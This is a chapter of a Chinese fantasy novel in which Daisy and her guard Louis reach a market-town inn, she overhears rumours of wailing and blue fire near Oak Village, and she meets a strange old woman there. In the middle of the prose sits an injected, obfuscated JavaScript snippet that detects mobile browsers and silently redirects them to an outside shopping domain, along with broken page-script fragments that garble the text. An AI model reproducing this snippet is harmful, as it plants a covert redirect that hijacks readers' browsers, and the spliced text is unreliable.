马蹄趟过浅滩，溅起的水花将鬃毛打湿，在蹄铁踏上草叶低垂的小路后，一串串水珠顺着湿漉漉的纤毛滴在泥滩里。
“前面就是集镇了。”
年轻的男子牵马在后，少女压低兜帽走在前，马靴踩在松软的泥土上，在静谧的林中留下簌簌的声响。
午后日光斜斜照下来，将两人牵马穿过石砌拱门的影子拉长，投在石板鳞次铺就的街道上。正是小憩的时光，街上少有人往来，一位头发花白的老人慵懒地坐在石阶前，目光追随着两个陌生的年轻人，目送他们步入对面巷口。
两人在挂了狐狸木牌的旅店前停下脚步。酒馆里正在擦拭桌面的中年人听见门外传来的驻马响鼻声，连忙搁下布巾迎出去。待看清牵马的男子后，脸上露出热情而熟稔的笑容：“路易斯！好久不见，又来住店？”
他戴着一顶棕灰色羊皮小圆帽，将稀疏的发顶遮得严严实实。黛西不由多看了两眼帽檐外漏出的几缕碎发。
路易斯轻笑了声，赶在店主那双探究的眼眸转向黛西前接上：“是给我身边这位——黛西小姐，我的雇主。”
老板的眼底闪过丝惊讶，随即摘下小圆帽按在胸前欠身，满脸堆笑：“小姐，您的到来让小店蓬荜生辉，快请进。”他伸手接过路易斯手中的缰绳，随手塞给一旁的年轻人，年轻人便牵着两匹马往马厩去了。
趁他转身吩咐伙计备水的间隙，路易斯微微侧身，向黛西靠近半步，压低声音道：“小姐，这位是旅店老板托马斯。先前巡视时我总在这里落脚，他为人忠实可靠，值得信任。”
黛西眸光闪烁一下，瞟了眼那个略带佝偻的背影，轻轻点头。
托马斯回过头来，殷勤引路：“小姐，这边请。”
他将两人引上二楼，推开走廊尽头的一扇房门：“小姐，这是店里最安静的一间，窗户正对着后面的院子，不临街，晚上不会被过往的马车吵到。”
房间虽陈设简朴，却收拾得干净。一张铺着亚麻床单的木床，靠窗摆了一张小桌和一把椅子，墙上挂着一幅褪色的织锦。她点了点头：“很好，就这间吧。”
“小姐满意就好。”托马斯躬身退到门外，“水一会儿就送上来。小姐若有什么需要，尽管吩咐。”
待托马斯离开，路易斯走上前，目光扫过窗框和门闩，又走到窗前向外望。院墙外便是稀疏的树林，再远处，是山峦起伏的轮廓。
“这里还算安全。”他说完回过身，仍有几分不放心，“我明日傍晚之前便会赶回来。在此之前，请小姐尽量不要独自外出。若有什么事，可以托付托马斯，他在这镇上住了二十多年，人面熟。”
黛西听着他的叮嘱，唇角上扬，一一应下：“我知道了，路易斯。你去林顿村，也要多小心，那里情况要复杂得多。”
路易斯眸光微顿，轻轻颔首：“我会的，小姐。”他半侧过身，目光却没有移开，“那我现在就出发了。”
“好。”
他欠身行礼后，拉开房间门离开。走廊里他的脚步声远去。黛西走到窗前，不多时便见路易斯从马厩牵了那匹棕马，离开后院，跃上马背后一扯缰绳，身影消失在来时的树林里。
她望着那条空荡荡的小路许久，直到送水的伙计敲响木门，才转身去接水。
黛西简单洗漱后，就来到楼下的酒馆。午后时分只有两三个零星的客人，凑在角落的桌边低声交谈。托马斯在吧台后擦拭着陶杯，见到她下来迎上前去：“小姐，要不要来点什么？我们店里的炖菜和黑面包是这条街上最好的，还有自家酿的麦酒。”
“要一份炖菜，一杯牛奶。”黛西找了空位置坐下，余光扫了眼角落的几位客人，都是寻常农夫打扮，没什么特别。托马斯端着托盘过来，将炖菜和牛奶摆在她面前。
“小姐慢用。”
黛西应了声，低头吃起来。胡萝卜和土豆炖得软烂，连豌豆都可圈可点，她一边吃，一边思忖明日的计划。
日影西斜，酒馆的客人就陆续多起来。她将炖菜吃完，正打算回楼上，忽然门口传来一阵喧哗。她循声望去，只见两个风尘仆仆的男人走进来，其中一个拍着桌子喊：“托马斯，来两杯麦酒！这一路可累死我了。”
“从哪儿来啊？”托马斯一边倒酒一边随口问道。
“橡木村那边。”那男人低声骂了句什么，灌了口酒，“那片林子可真是见鬼，又是哭号又是蓝火，以后和橡木村搭界的任何生意我都不干了。”
黛西起身的动作一顿，慢慢坐回椅子上。
另一个男人显然不知道这回事，问道：“出什么事了，哈蒙？你脸色像刚见了一匹狼。”
“那可比狼骇人得多！”男人顿时压低声音，凑近同伴耳边，“橡木村里都传开了，那片林子里死了几个人，听说还是渎神者在作恶，每晚都有哭号似的怪声，还有幽蓝的火光。”
那位同伴睁圆了眼睛，端起酒杯喝了一口，像是要压下流露出的惧色：“天啊，教会没做什么吗？”
男人的声音更低，黛西只能听清断续的词语：“已经……抓了很多渎神者……没用。”
一旁的人叹息一声，几近喃喃自语：“创世神保佑……”
他们没再继续这个话题，黛西便付了饭钱，在托马斯的招呼声里回到楼上去了。
入夜，黛西拉开木窗，对着那片漆黑的树影从东头到西头细细打量，她的视力自从身体恢复后在黑暗里也格外地好。不论那些树梢是因风过轻轻晃动，还是几只野鸟蹦上枝头簌簌作响，她都能看得一清二楚。她看了半晌，也未见什么异样，只是森林深处偶尔传来猫头鹰的低鸣，出奇安宁平静。
她关上窗，走到床边坐下，凝上床头晃动的烛火，心事重重。
不知道路易斯到林顿村了没有……
东边的天空透出些微光亮的时候，黛西·布兰登就睁开双眼，从床铺上坐起。她昨晚没能睡好，除了因为只铺了亚麻床单的床板太硌，还因为她闭上眼睛就是些光怪陆离的火焰和扭曲的森林。她抬手捋开眼前打卷的发丝，揉揉眉心，深呼出一口气。
一楼酒馆此时只有几个客人，她在一张桌前坐下，点了些果蔬和黑面包，又要了杯麦酒醒神。
托马斯很快将这些端上来。
她吃完早餐后，日光从酒馆的窗户照进来，在地上投下一片明亮的光斑。她盯着那片光斑看了几秒钟，抬眼望向窗外，街道上的人已经多了起来，甚至能听到隔街的叫卖和车轮滚过石铺路的杂音。
她在桌前坐了会儿后，起身结账。托马斯见她走向旅店外，出声询问：“小姐，这是要去哪儿？”
黛西微微一笑：“去橡木村。”
托马斯眉头蹙起，眼睛里写满复杂情绪：“小姐，那儿最近可不太平。您真要去？”
“我只是去打听些事情。路易斯要是回来，告诉他在这里等我。”她的声音平和却带着笃定，“我不会去很久。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894926|212834||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
他叹了口气，指了指门前街道延伸的方向：“我明白了，小姐。您多加小心。走出集镇往东的那条宽敞的路，过了桥，您就能看见那片橡树林了，路边会有路牌。”
“谢谢你，托马斯。”黛西应下来，从院子里牵出马翻上，纵马而去。
她沿着托马斯指的方向，走了大约两刻钟，就见到那座石桥。桥下流水潺潺，涌进深林。她一扯缰绳，让马小跑着渡过石桥。又走不过几里，那片高生的橡木林就出现在视野中，破旧的指路牌上只有几个凹陷的字母，她勒马凑近木牌仔细看了半晌，才辨认出确是“橡木村”。再向前一段路程，才看到稀疏散落林边的几栋茅草屋。她下马，一间间房子看去，最终停在那处挂着木牌的木屋前。
木牌上用焦炭歪歪扭扭地写着“旅店”，边缘已被风雨侵蚀得起了毛边。
黛西牵着马上前，抬手敲门。
门内传来一阵迟缓的脚步声，接着木门“吱呀”一声开了条缝，一张布满皱纹的老妇人的脸从暗处门缝里探出来。那双浑浊的眼睛上下打量了黛西，声音沙哑得像是嗓子里塞满了枯叶：“住店？”
“你好，女士。”黛西礼貌问好，“请问这条路再往前走，能到林顿村吗？”
“林顿村？”老妇人木讷地重复，目光越过黛西的肩头，望向她来时的路，眼睛却像找不到焦点，空茫茫地飘着。
沉默拉得很长，长到黛西几乎以为她没听清，正要再问一遍，老妇人终于慢悠悠地吐出话来：“那里离这里不算近，天黑之前你可能到不了，小姐。”
黛西眼底掠过一丝光，她清楚地知道这是个谎言，路易斯摊开的地图还印在她的脑子里，距离绝没有那么远。
“那些倒是没什么，我经常会走夜路。”黛西的目光从老妇人脸上划过，不动声色看向昏暗的木屋内，“只是听说这附近的林子近来不太平，夜里有奇怪的声音，还有幽蓝的火光，不知道你有没有见过？”
老妇人浑浊的眼珠缓缓转动，从橡树林的方向一点一点挪到黛西脸上。她语速迟缓地拉长声调，每一个字都像从牙缝里慢慢挤出来的：“……没听说过，也没见过。倒是这林子里有不少野狼，眼睛绿得像幽火，夜里狼嚎像是刮风，叼走了好多个走夜路的旅人。”
黛西捏着缰绳的手指紧了紧，一股凉意从脚底板蹿上来，沿着脊背一路攀爬，像冰凉的蛇钻入脊髓。她面上不显，收回看向屋内的目光，露出一抹微笑：“多谢你的提醒。”
老妇人如蒙尘玻璃珠似的眼睛一眨不眨地盯着她，喉咙里发出低哑的应声，半转过身子，伸出枯瘦的手将门向后推去，露出屋内灶膛里暗红的炉火。黛西已经牵着缰绳走出许远，马儿轻快地跟在她身后，尾鬃随着步伐一摇一摆，转入一丛乱生的灌木后。
她确定感觉不到那令人脊背发冷的视线后，才放松攥紧的手，翻上马背轻夹马腹，掉转马头从小路绕回去往集镇的路。正午日光正好，她却手心冰凉，不由身体前倾压低肩膀，只想赶快回到托马斯的旅店。
“不舒服的感觉”，的确如此……
她脑中忽而冒出那封信上的话，眉头蹙起，脚跟更用力地踢了一下马腹。
她走出不过一刻钟，对向的驿道传来急促的马蹄声。她心下一惊，下意识扯了缰绳放慢马速，转过一片小枫树林，迎面就见一匹熟悉的棕色骏马疾驰而来，马背上的人金发飞扬，衬衫折花随风打在身上。
是路易斯。